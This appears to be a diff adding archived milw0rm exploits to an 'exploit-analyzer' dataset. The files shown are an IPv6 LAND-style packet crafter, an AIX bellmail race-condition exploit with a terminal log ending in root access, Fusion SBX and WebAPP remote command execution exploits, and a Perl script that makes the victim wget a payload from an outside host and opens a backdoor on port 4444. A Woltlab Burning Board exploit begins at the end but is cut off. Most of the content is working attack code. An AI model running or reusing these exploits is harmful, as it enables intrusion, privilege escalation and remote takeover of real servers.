+ if ( WSAStartup( MAKEWORD(2,2), &wsaData ) != NO_ERROR )
153
+ {
154
+ fprintf( stderr, "Error in WSAStartup():%d\n",WSAGetLastError());
155
+ return EXIT_FAILURE;
156
+ }
157
+ //
158
+ // Get MAC address of remote host (assume link local IpV6 address)
159
+ //
160
+
161
+ hints.ai_family = PF_INET6;
162
+ hints.ai_socktype = SOCK_STREAM;
163
+ hints.ai_protocol = IPPROTO_TCP;
164
+ hints.ai_flags = AI_PASSIVE;
165
+
166
+ retVal = getaddrinfo(argv[2],0, &hints, &addrinfo);
167
+ if ( retVal!=0 )
168
+ {
169
+ WSACleanup();
170
+ fprintf( stderr, "Error in getaddrinfo():%d\n",WSAGetLastError());
171
+ exit(EXIT_FAILURE);
172
+ }
173
+
174
+ //
175
+ // Open WinPCap adapter
176
+ //
177
+ if ( (pcap_handle = pcap_open_live (argv[1], 1514, PCAP_OPENFLAG_PROMISCUOUS,
178
+ 100, (char*)errbuf)) == NULL )
179
+ {
180
+ freeaddrinfo(addrinfo);
181
+ WSACleanup();
182
+ fprintf(stderr, "Error opening device: %s\n",argv[1]);
183
+ return EXIT_FAILURE;
184
+ }
185
+
186
+ ZeroMemory(packet,sizeof(packet));
187
+ struct sockaddr_in6 *sa = (struct sockaddr_in6 *) addrinfo->ai_addr;
188
+
189
+ // fill ethernet header
190
+ eth_hdr->ether_dhost[0] = eth_hdr->ether_shost[0] = 0;// assume address like
191
+ 00:something;
192
+ eth_hdr->ether_dhost[1] = eth_hdr->ether_shost[1] = sa->sin6_addr.u.Byte[9];
193
+ eth_hdr->ether_dhost[2] = eth_hdr->ether_shost[2] = sa->sin6_addr.u.Byte[10];
194
+ eth_hdr->ether_dhost[3] = eth_hdr->ether_shost[3] = sa->sin6_addr.u.Byte[13];
195
+ eth_hdr->ether_dhost[4] = eth_hdr->ether_shost[4] = sa->sin6_addr.u.Byte[14];
196
+ eth_hdr->ether_dhost[5] = eth_hdr->ether_shost[5] = sa->sin6_addr.u.Byte[15];
197
+ eth_hdr->ether_type = 0xdd86;
198
+
199
+
200
+ // fill IP header
201
+ // source ip == destination ip
202
+
203
+ memcpy(ip6_hdr->ip_src.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte));
204
+
205
+ memcpy(ip6_hdr->ip_dst.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte));
206
+ ip6_hdr->ip_hl = 255;
207
+ ip6_hdr->ip_nh = IPPROTO_TCP;
208
+ ip6_hdr->ip_len = htons (20);
209
+ ip6_hdr->ip_flags[0] = 0x06 << 4;
210
+ srand((unsigned int) time(0));
211
+ // fill tcp header
212
+ tcp_hdr->th_sport = tcp_hdr->th_dport = htons (atoi(argv[3])); // source
213
+ port equal to destination
214
+ tcp_hdr->th_seq = rand();
215
+ tcp_hdr->th_ack = rand();
216
+ tcp_hdr->th_off = htons(5);
217
+ tcp_hdr->th_win = rand();
218
+ tcp_hdr->th_sum = 0;
219
+ tcp_hdr->th_urp = htons(10);
220
+ tcp_hdr->th_off = 5;
221
+ tcp_hdr->th_flags = 2;
222
+ // calculate tcp checksum
223
+ int chsum = libnet_in_cksum ((u_int16_t *) & ip6_hdr->ip_src, 32);
224
+ chsum += ntohs (IPPROTO_TCP + sizeof (struct libnet_tcp_hdr));
225
+ chsum += libnet_in_cksum ((u_int16_t *) tcp_hdr, sizeof (struct
226
+ libnet_tcp_hdr));
227
+ tcp_hdr->th_sum = LIBNET_CKSUM_CARRY (chsum);
228
+ // send data to wire
229
+ retVal = pcap_sendpacket (pcap_handle, (u_char *) packet, sizeof(packet));
230
+ if ( retVal == -1 )
231
+ {
232
+ fprintf(stderr,"Error writing packet to wire!!\n");
233
+ }
234
+ //
235
+ // close adapter, free mem.. etc..
236
+ //
237
+ pcap_close(pcap_handle);
238
+ freeaddrinfo(addrinfo);
239
+ WSACleanup();
240
+ return EXIT_SUCCESS;
241
+ }
242
+
243
+ // milw0rm.com [2005-05-17]
exploit-analyzer/exploits/exploit_1001.txt ADDED
@@ -0,0 +1,289 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ -bash-2.05b$
2
+ -bash-2.05b$ cat x_aix5_bellmail.pl
3
+ #!/usr/bin/perl
4
+ # FileName: x_aix5_bellmail.pl
5
+ # Exploit "Race condition vulnerability (BUGTRAQ ID: 8805)" of /usr/bin/bellmail
6
+ # command on Aix5 to change any file owner to current user.
7
+ #
8
+ #Usage : x_aix5_bellmail.pl aim_file
9
+ # aim_file : then file wich you want to chown to you.
10
+ # Note : Maybe you should run more than one to "Race condition".
11
+ # The file named "x_bell.sh" can help you to use this exp.
12
+ # You should type "w" "Enter" then "q" "Enter" key on keyboard
13
+ # as fast as you can when bellmail prompt "?" appear.
14
+ #
15
+ # Author : watercloud@xfocus.org
16
+ # XFOCUS Team
17
+ # http://www.xfocus.net (CN)
18
+ # http://www.xfocus.org (EN)
19
+ #
20
+ # Date : 2004-6-6
21
+ # Tested : on Aix5.1.
22
+ # Addition: IBM had offered a patch named "IY25661" for it.
23
+ # Announce: use as your owner risk!
24
+
25
+ $CMD="/usr/bin/bellmail";
26
+ $MBOX="$ENV{HOME}/mbox";
27
+ $TMPFILE="/tmp/.xbellm.tmp";
28
+
29
+ $AIM_FILE = shift @ARGV ;
30
+ $FORK_NUM = 1000;
31
+
32
+ die "AIM FILE \"$AIM_FILE\" not exist.\n" if ! -e $AIM_FILE;
33
+
34
+ unlink $MBOX;
35
+ system "echo abc > $TMPFILE";
36
+ system "$CMD $ENV{LOGIN} < $TMPFILE";
37
+ unlink $TMPFILE;
38
+
39
+ $ret=`ls -l $AIM_FILE"`;
40
+ print "Before: $ret";
41
+
42
+ if( fork()==0 )
43
+ {
44
+ &deamon($FORK_NUM);
45
+ exit 0 ;
46
+ }
47
+ sleep( (rand()*100)%4);
48
+ exec $CMD;
49
+
50
+ $ret=`ls -l $AIM_FILE"`;
51
+ print "Now: $ret";
52
+
53
+ sub deamon {
54
+ $num = shift || 1;
55
+ for($i=0;$i<$num;$i++) {
56
+ &do_real() if fork()==0;
57
+ }
58
+ }
59
+ sub do_real {
60
+ if(-e $MBOX) {
61
+ unlink $MBOX ;
62
+ symlink "$AIM_FILE",$MBOX;
63
+ }
64
+ exit 0;
65
+ }
66
+ #EOF
67
+
68
+
69
+
70
+
71
+
72
+
73
+
74
+ -bash-2.05b$
75
+ -bash-2.05b$ cat x_bellmail.sh
76
+ #!/bin/sh
77
+ #File:x_bellmail.sh
78
+ #The assistant of x_aix5_bellmail.pl
79
+ #Author : watercloud@xfocus.org
80
+ #Date :2004-6-6
81
+ #
82
+
83
+ X_BELL_PL="./x_aix5_bellmail.pl"
84
+ AIM=$1
85
+
86
+ if [ $# ne 1 ] ;then
87
+ echo "Need a aim file name as argv."
88
+ exit 1;
89
+ fi
90
+
91
+ if [ ! -e "$1" ];then
92
+ echo "$1 not exist!"
93
+ exit 1
94
+ fi
95
+ if [ ! -x "$X_BELL_PL" ];then
96
+ echo "can not exec $X_BELL_PL"
97
+ exit 1
98
+ fi
99
+
100
+ ret=`ls -l $AIM`
101
+ echo $ret; echo
102
+ fuser=`echo $ret |awk '{print $3}'`
103
+ while [ "$fuser" != "$LOGIN" ]
104
+ do
105
+ $X_BELL_PL $AIM
106
+ ret=`ls -l $AIM`
107
+ echo $ret;echo
108
+ fuser=`echo $ret |awk '{print $3}'`
109
+ done
110
+ echo $ret; echo
111
+ #EOF
112
+
113
+
114
+
115
+
116
+ -bash-2.05b$ id
117
+ uid=201(cloud) gid=1(staff)
118
+ -bash-2.05b$
119
+ -bash-2.05b$ oslevel
120
+ 5.1.0.0
121
+ -bash-2.05b$ oslevel -r
122
+ 5100-01
123
+ -bash-2.05b$ ls -l /usr/bin/bellmail
124
+ -r-sr-sr-x 1 root mail 30208 Aug 09 2003 /usr/bin/bellmail
125
+ -bash-2.05b$ ls -l /etc/passwd
126
+ -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
127
+ -bash-2.05b$ cp /etc/passwd /tmp/
128
+
129
+
130
+ -bash-2.05b$ ./x_bellmail.sh /etc/passwd
131
+ ./x_bellmail.sh[11]: ne: 0403-012 A test command parameter is not valid.
132
+ -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
133
+
134
+ Before: -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
135
+ From cloud Sun Jun 6 08:49:30 2004
136
+ abc
137
+
138
+ ? w
139
+ From cloud Sun Jun 6 08:25:20 2004
140
+ abc
141
+
142
+ ? q
143
+ -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
144
+
145
+ Before: -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
146
+ From cloud Sun Jun 6 08:49:35 2004
147
+ abc
148
+
149
+ ? w
150
+ From cloud Sun Jun 6 08:25:20 2004
151
+ abc
152
+
153
+ ? q
154
+ -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
155
+
156
+ Before: -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
157
+ From cloud Sun Jun 6 08:49:40 2004
158
+ abc
159
+
160
+ ? w
161
+ From cloud Sun Jun 6 08:25:20 2004
162
+ abc
163
+
164
+ ? q
165
+ -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
166
+
167
+ Before: -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
168
+ From cloud Sun Jun 6 08:49:43 2004
169
+ abc
170
+
171
+ ? w
172
+ From cloud Sun Jun 6 08:25:20 2004
173
+ abc
174
+
175
+ ? q
176
+ -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
177
+
178
+ Before: -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
179
+ w
180
+ From cloud Sun Jun 6 08:49:48 2004
181
+ abc
182
+
183
+ ? From cloud Sun Jun 6 08:25:20 2004
184
+ abc
185
+
186
+ ? w
187
+ bellmail: cannot append to /home/cloud/mbox
188
+ ? w
189
+ bellmail: cannot append to /home/cloud/mbox
190
+ ? q
191
+ -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
192
+
193
+ Before: -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
194
+ From cloud Sun Jun 6 08:49:56 2004
195
+ abc
196
+
197
+ ? w
198
+ From cloud Sun Jun 6 08:25:20 2004
199
+ abc
200
+
201
+ ? q
202
+ -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
203
+
204
+ Before: -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd
205
+ From cloud Sun Jun 6 08:50:01 2004
206
+ abc
207
+
208
+ ? w
209
+ From cloud Sun Jun 6 08:25:20 2004
210
+ abc
211
+
212
+ ? q
213
+ -rw-r--r-- 1 cloud staff 570 Jun 03 22:59 /etc/passwd
214
+
215
+ -rw-r--r-- 1 cloud staff 570 Jun 03 22:59 /etc/passwd
216
+
217
+
218
+
219
+
220
+
221
+
222
+ -bash-2.05b$ cat /etc/passwd
223
+ root:!:0:0::/:/usr/bin/ksh
224
+ daemon:!:1:1::/etc:
225
+ bin:!:2:2::/bin:
226
+ sys:!:3:3::/usr/sys:
227
+ adm:!:4:4::/var/adm:
228
+ uucp:!:5:5::/usr/lib/uucp:
229
+ guest:!:100:100::/home/guest:
230
+ nobody:!:4294967294:4294967294::/:
231
+ lpd:!:9:4294967294::/:
232
+ lp:*:11:11::/var/spool/lp:/bin/false
233
+ invscout:*:200:1::/var/adm/invscout:/usr/bin/ksh
234
+ nuucp:*:6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico
235
+ snapp:*:177:1:snapp login user:/usr/sbin/snapp:/usr/sbin/snappd
236
+ imnadm:*:188:188::/home/imnadm:/usr/bin/ksh
237
+ cloud:!:201:1::/home/cloud:/usr/local/bin/bash
238
+
239
+
240
+
241
+ -bash-2.05b$ cat /tmp/passwd |sed 's/cloud:!:201:/cloud:!:0:/' >/etc/passwd
242
+
243
+
244
+ -bash-2.05b$ su cloud
245
+ cloud's Password:
246
+ 3004-502 Cannot get "LOGNAME" variable.
247
+ -bash-2.05b$ id
248
+ uid=201 gid=1(staff)
249
+ -bash-2.05b$ ls -l /etc/passwd
250
+ -rw-r--r-- 1 201 staff 568 Jun 06 08:56 /etc/passwd
251
+ -bash-2.05b$ echo 'test:!:201:1::/home/cloud:/usr/local/bin/bash' >> /etc/passwd
252
+ -bash-2.05b$ cat /etc/passwd
253
+ root:!:0:0::/:/usr/bin/ksh
254
+ daemon:!:1:1::/etc:
255
+ bin:!:2:2::/bin:
256
+ sys:!:3:3::/usr/sys:
257
+ adm:!:4:4::/var/adm:
258
+ uucp:!:5:5::/usr/lib/uucp:
259
+ guest:!:100:100::/home/guest:
260
+ nobody:!:4294967294:4294967294::/:
261
+ lpd:!:9:4294967294::/:
262
+ lp:*:11:11::/var/spool/lp:/bin/false
263
+ invscout:*:200:1::/var/adm/invscout:/usr/bin/ksh
264
+ nuucp:*:6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico
265
+ snapp:*:177:1:snapp login user:/usr/sbin/snapp:/usr/sbin/snappd
266
+ imnadm:*:188:188::/home/imnadm:/usr/bin/ksh
267
+ cloud:!:0:1::/home/cloud:/usr/local/bin/bash
268
+ test:!:201:1::/home/cloud:/usr/local/bin/bash
269
+
270
+
271
+ -bash-2.05b$ su cloud
272
+ cloud's Password:
273
+ bash-2.05b# id
274
+ uid=0(root) gid=1(staff)
275
+ bash-2.05b# ls -l /etc/passwd
276
+ -rw-r--r-- 1 test staff 614 Jun 06 08:58 /etc/passwd
277
+ bash-2.05b# cp /tmp/passwd /etc/passwd
278
+ bash-2.05b# chown root /tmp/passwd
279
+ bash-2.05b# ls -l /tmp/passwd
280
+ -rw-r--r-- 1 root staff 570 Jun 06 08:48 /tmp/passwd
281
+ bash-2.05b# id
282
+ uid=0(root) gid=1(staff)
283
+ bash-2.05b#
284
+ bash-2.05b# rm /tmp/.bel*
285
+ bash-2.05b# rm /tmp/passwd
286
+ bash-2.05b#
287
+
288
+
289
+ # milw0rm.com [2005-05-19]
exploit-analyzer/exploits/exploit_1003.txt ADDED
@@ -0,0 +1,195 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*****************************************************
2
+ * *
3
+ * [Fusion SBX <= 1.2] exploit *
4
+ * *
5
+ * sileFSBXxpl *
6
+ * *
7
+ * This exploit use vulnerability found into *
8
+ * Fusion SBX and create new variable and call it *
9
+ * with a malicious function (stored in config.php). *
10
+ * This exploit utilize injection of three diverse *
11
+ * procedures for execution of arbitrary code on *
12
+ * vulnerable machine with httpd privileges. *
13
+ * *
14
+ * References: www.securityfocus.org/bid/13575 *
15
+ * *
16
+ * coded by: Silentium of Anacron Group Italy *
17
+ * date: 10/05/2005 *
18
+ * e-mail: anacrongroupitaly[at]autistici[dot]org *
19
+ * my_home: www.autistici.org/anacron-group-italy *
20
+ * *
21
+ * this tool is developed under GPL license *
22
+ * no(c) .:. copyleft *
23
+ * *
24
+ *****************************************************/
25
+
26
+ #include <stdio.h>
27
+ #include <stdlib.h>
28
+ #include <sys/types.h>
29
+ #include <sys/socket.h>
30
+ #include <netinet/in.h>
31
+ #include <netdb.h>
32
+
33
+ #define PORT 80 // port of web server
34
+
35
+ void info(void);
36
+ void banner(void);
37
+ void sendxpl(FILE *out, char *argv[], int type);
38
+ void errsock(void);
39
+ void errgeth(void);
40
+ void errconn(char *argv[]);
41
+
42
+
43
+ int main(int argc, char *argv[]){
44
+
45
+ FILE *out;
46
+ int sock, sockconn, type;
47
+ struct sockaddr_in addr;
48
+ struct hostent *hp;
49
+
50
+ if(argc!=4)
51
+ info();
52
+
53
+ type = atoi(argv[3]);
54
+
55
+ if(type < 1 || type > 3)
56
+ info();
57
+
58
+ banner();
59
+
60
+ if((sock = socket(AF_INET,SOCK_STREAM,0)) < 0)
61
+ errsock();
62
+
63
+ printf("[*] Creating socket [OK]\n");
64
+
65
+ if((hp = gethostbyname(argv[1])) == NULL)
66
+ errgeth();
67
+
68
+ printf("[*] Resolving victim host [OK]\n");
69
+
70
+ memset(&addr,0,sizeof(addr));
71
+ memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
72
+ addr.sin_family = AF_INET;
73
+ addr.sin_port = htons(PORT);
74
+
75
+ sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr));
76
+ if(sockconn < 0)
77
+ errconn(argv);
78
+
79
+ printf("[*] Connecting at victim host [OK]\n");
80
+
81
+ out = fdopen(sock,"a");
82
+ setbuf(out,NULL);
83
+
84
+ sendxpl(out,argv,type);
85
+
86
+ printf("[*] Now test at execute code on\n\n"
87
+ "[1] %s%sindex.php?sile=id\n"
88
+ "[2] %s%sadmin/index.php?sile=id\n\n",argv[1],argv[2],argv[1],argv[2]);
89
+
90
+ shutdown(sock,2);
91
+ close(sock);
92
+
93
+ return 0;
94
+
95
+ }
96
+
97
+
98
+ void info(void){
99
+
100
+ system("clear");
101
+ printf("\n #########################################\n"
102
+ " # sileFSBXxpl #\n"
103
+ " # ################################### #\n"
104
+ " # Fusion SBX <= 1.2 exploit #\n"
105
+ " # Remote Command Execution #\n"
106
+ " # coded by Silentium #\n"
107
+ " # [ Anacron Group Italy ] #\n"
108
+ " # ################################### #\n"
109
+ " # www.autistici.org/anacron-group-italy #\n"
110
+ " #########################################\n\n"
111
+ " [Usage]\n\n"
112
+ " sileFSBXxpl <victim> <path_sbx> <type>\n\n"
113
+ " [Type]\n\n"
114
+ " 1) injection of system()\n"
115
+ " 2) injection of exec()\n"
116
+ " 3) injection of passthru()\n\n"
117
+ " [Example]\n\n"
118
+ " sileFSBXxpl www.victim.com /sbx/ 1\n\n");
119
+ exit(1);
120
+
121
+ }
122
+
123
+
124
+ void banner(void){
125
+
126
+ system("clear");
127
+ printf("[-] sileFSBXxpl\n"
128
+ " ============\n"
129
+ "[-] Fusion SBX <= 1.2 exploit\n"
130
+ "[-] coded by Silentium - Anacron Group Italy\n"
131
+ "[-] www.autistici.org/anacron-group-italy\n\n");
132
+
133
+ }
134
+
135
+
136
+ void sendxpl(FILE *out, char *argv[], int type){
137
+
138
+ char *call;
139
+ int size = 245;
140
+
141
+ if(type == 1)
142
+ call = "system";
143
+ else if(type == 2)
144
+ call = "exec";
145
+ else if(type == 3)
146
+ call = "passthru";
147
+
148
+ size+=strlen(call);
149
+
150
+ fprintf(out,"POST %sadmin/?settings HTTP/1.0\n"
151
+ "Connection: Keep-Alive\n"
152
+ "Pragma: no-cache\n"
153
+ "Cache-control: no-cache\n"
154
+ "Accept: text/html, image/jpeg, image/png, text/*, image/*, */*\n"
155
+ "Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
156
+ "Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
157
+ "Accept-Language: en\n"
158
+ "Host: %s\n"
159
+ "Content-Type: application/x-www-form-urlencoded\n"
160
+ "Content-Length: %d\n\n"
161
+ "set2=basic&admin_set2=standard&lang2=english&plimit2=10&noname2=Guest&"
162
+ "refresh2=120&maxname2=30%%3B%%40%s%%28%%24_GET%%5Bsile%%5D%%29&maxmess"
163
+ "2=120&maxlink2=120&wordbanning2=1&maxword2=20&wrapstat2=1&postorder2=1"
164
+ "&setsubmit=Commit+Changes&is_logged=1\n\n",argv[2],argv[1],size,call);
165
+
166
+ printf("[*] Sending exploit [OK]\n\n");
167
+
168
+ }
169
+
170
+
171
+ void errsock(void){
172
+
173
+ system("clear");
174
+ printf("[x] Creating socket [FAILED]\n\n");
175
+ exit(1);
176
+
177
+ }
178
+
179
+
180
+ void errgeth(void){
181
+
182
+ printf("[x] Resolving victim host [FAILED]\n\n");
183
+ exit(1);
184
+
185
+ }
186
+
187
+
188
+ void errconn(char *argv[]){
189
+
190
+ printf("[x] Connecting at victim host [FAILED]\n\n",argv[1]);
191
+ exit(1);
192
+
193
+ }
194
+
195
+ // milw0rm.com [2005-05-20]
exploit-analyzer/exploits/exploit_1004.txt ADDED
@@ -0,0 +1,100 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+
3
+ ########################################################
4
+ # #
5
+ # WebAPP v0.9.9.2.1 Remote Command Execution Exploit #
6
+ # [Code by Nikyt0x] #
7
+ # nikyt0x@gmail.com #
8
+ # #
9
+ # Advisory: www.defacers.com.mx/advisories/3.txt # #
10
+ # #
11
+ # Saludos: #
12
+ # #
13
+ # Soulblack Staff, Status-x, NeosecurityTeam, #
14
+ # KingMetal, Trespasser... #
15
+ # #
16
+ ########################################################
17
+ # #
18
+ # sbwebapp.php www.host.com /dirto/apage.cgi "command" #
19
+ # #
20
+ # Linux dprhensim19.doteasy.com 2.4.22-1.2199.nptl #
21
+ # #1 Wed Aug 4 12:21:48 EDT 2004 i686 i686 i386 #
22
+ # GNU/Linux #
23
+ # uid=557(scapip) gid=558(scapip) groups=558(scapip) #
24
+ # #
25
+ # #
26
+ # #
27
+ ########################################################
28
+
29
+
30
+ if ($argc != 4) {
31
+
32
+ echo "\n =====================================\n";
33
+ echo " WebAPP v0.9.9.2.1 apage.cgi Exploit\n";
34
+ echo " =====================================\n";
35
+ echo " Nikyt0x - SoulBlack Team\n\n";
36
+ echo "\nUsage:\n\n";
37
+ echo " $argv[0] www.host.com /apagedir/apage.cgi \"command\"\n";
38
+ exit(0);
39
+ }
40
+
41
+ if(!ereg('apage.cgi',$argv[2])) {
42
+ echo "URL to apage.cgi Incorrect.";
43
+ exit(0);
44
+ }
45
+
46
+ echo "\n =====================================\n";
47
+ echo " WebAPP v0.9.9.2.1 apage.cgi Exploit\n";
48
+ echo " =====================================\n";
49
+ echo " Nikyt0x - SoulBlack Team\n\n";
50
+
51
+
52
+
53
+
54
+ $s0ck3t = fsockopen($argv[1], 80);
55
+ if (!$s0ck3t) {
56
+ echo "[-] Socket\n";
57
+ exit(0);
58
+
59
+ } else {
60
+ $ex3cutar = str_replace(" ", "%20", $argv[3]);
61
+ $petici0n = "GET $argv[2]?f=expofranquicias.htm|echo%20c0mand0s;$ex3cutar;echo%20final1zar| HTTP/1.1\r\n";
62
+ $petici0n .= "Host: $argv[1]\r\n";
63
+ $petici0n .= "Connection: Close\r\n\r\n";
64
+
65
+ echo "[+] Socket\n";
66
+
67
+ if(!fwrite($s0ck3t, $petici0n))
68
+ {
69
+ echo "[-] Sending Exploit\n";
70
+ exit(0);
71
+ }
72
+ echo "[+] Sending Exploit\n";
73
+ while (!feof($s0ck3t)) {
74
+ $g3tdata = fgets($s0ck3t, 1024);
75
+ if (eregi('c0mand0s',$g3tdata))
76
+ {
77
+ $aceptar = 1;
78
+ }
79
+ if (eregi('final1zar',$g3tdata))
80
+ {
81
+ $aceptar = 0;
82
+ }
83
+ while ($aceptar == 1)
84
+ {
85
+ if(eregi('c0mand0s',$g3tdata))
86
+ {
87
+ $g3tdata = str_replace('c0mand0s','', $g3tdata);
88
+ echo "[+] Command:\n";
89
+ }
90
+ $g3tdata = str_replace('c0mand0s','', $g3tdata);
91
+ echo $g3tdata;
92
+ break;
93
+ }
94
+
95
+ }
96
+ fclose($s0ck3t);
97
+ }
98
+ ?>
99
+
100
+ # milw0rm.com [2005-05-20]
exploit-analyzer/exploits/exploit_1005.txt ADDED
@@ -0,0 +1,69 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ !/usr/bin/perl
2
+ #################################################################
3
+ # T r a p - S e t U n d e r G r o u n D H a c k i n g T e a m #
4
+ #################################################################
5
+ # Remote C0mmand Executing Expl0it - For WebAPP CGI
6
+ #
7
+ #Exploit By : A l p h a _ P r o g r a m m e r ( Sirus-v );
8
+ #E-Mail : Alpha_Programmer@Yahoo.com
9
+ # Trapset_Sec@Yahoo.Ca
10
+ #This xpl Open a Backdoor in 4444 Port with Nobody Access !!! All Of The *NIX OS that Have UnPatch
11
+ #apage.cgi is Vulnerable in this M0ment !!
12
+ #
13
+ #################################################################
14
+ # Gr33tz To ==> AlphaST.Com , Crouz.Com , Simorgh-ev.Com And MH_P0rtal , Oil_Krachack #
15
+ #################################################################
16
+ use IO::Socket;
17
+
18
+ if (@ARGV < 2)
19
+ {
20
+ print "\n==============================================\n";
21
+ print " \n WebAPP CGI Exploit By Alpha_Programmer \n\n";
22
+ print " Trap-Set Underground Hacking Team \n\n";
23
+ print " Usage: <T4rg3t> <Dir> \n\n";
24
+ print "==============================================\n\n";
25
+ print "Examples:\n\n";
26
+ print " WebApp.pl www.Host.com /cgi-bin/ \n";
27
+ exit();
28
+ }
29
+
30
+
31
+ $serv = $ARGV[0];
32
+ $serv =~ s/http:\/\///ge;
33
+
34
+ $dir = $ARGV[1];
35
+
36
+ $cmde = "cd /tmp;wget http://www.khatotarh.com/NeT/alpha.txt";
37
+
38
+ $cmde =~ s/ /"\$IFS"/ge;
39
+
40
+ $req = "GET http://$serv";
41
+ $req .= "$dir";
42
+ $req .= "apage.cgi?f=file.htm.|echo\$IFS\"_N_\";$cmde;echo\$IFS\"_T_\"| HTTP/1.0\n\n";
43
+
44
+ $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";
45
+
46
+ print $sock $req;
47
+ print "\nPlease Wait ...\n\n";
48
+ sleep(3000);
49
+ close($sock);
50
+
51
+ $sock2 = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";
52
+
53
+
54
+ $cmde2 = "cd /tmp;cp alpha.txt alpha.pl;chmod 777 sirus.pl;perl sirus.pl";
55
+
56
+ $cmde2 =~ s/ /"\$IFS"/ge;
57
+
58
+ $req2 = "GET http://$serv";
59
+ $req2 .= "$dir";
60
+ $req2 .= "apage.cgi?f=file.htm.|echo\$IFS\"_N_\";$cmde2;echo\$IFS\"_T_\"| HTTP/1.0\n\n";
61
+
62
+ print $sock2 $req2;
63
+ print "\n\n$$$ OK -- Now Try: Nc -v www.host.com 4444 $$$\n";
64
+ print "$$ if This Port was Close , This mean is That , You Hav'nt Permission to Write in /TMP $$\n";
65
+
66
+ ### EOF ###
67
+
68
+
69
+ # milw0rm.com [2005-05-20]
exploit-analyzer/exploits/exploit_1006.txt ADDED
@@ -0,0 +1,100 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/perl
2
+
3
+ use strict;
4
+ use IO::Socket::INET;
5
+
6
+
7
+ $| = print "
8
+ Woltlab Burning Board <= 2.3.1 Exploit
9
+ Vulnerability discovered by GulfTech Security Research
10
+ Visit www.security-project.org
11
+ Exploit by deluxe89
12
+ ----------
13
+ ";
14
+
15
+
16
+
17
+ my $host = 'www.security-project.org';
18
+ my $path = '/wbb2/'; # path to the board
19
+ my $userid = 1; # the password hash will be from the user with this id
20
+ my $username = 'deluxe89'; # any username from the board
21
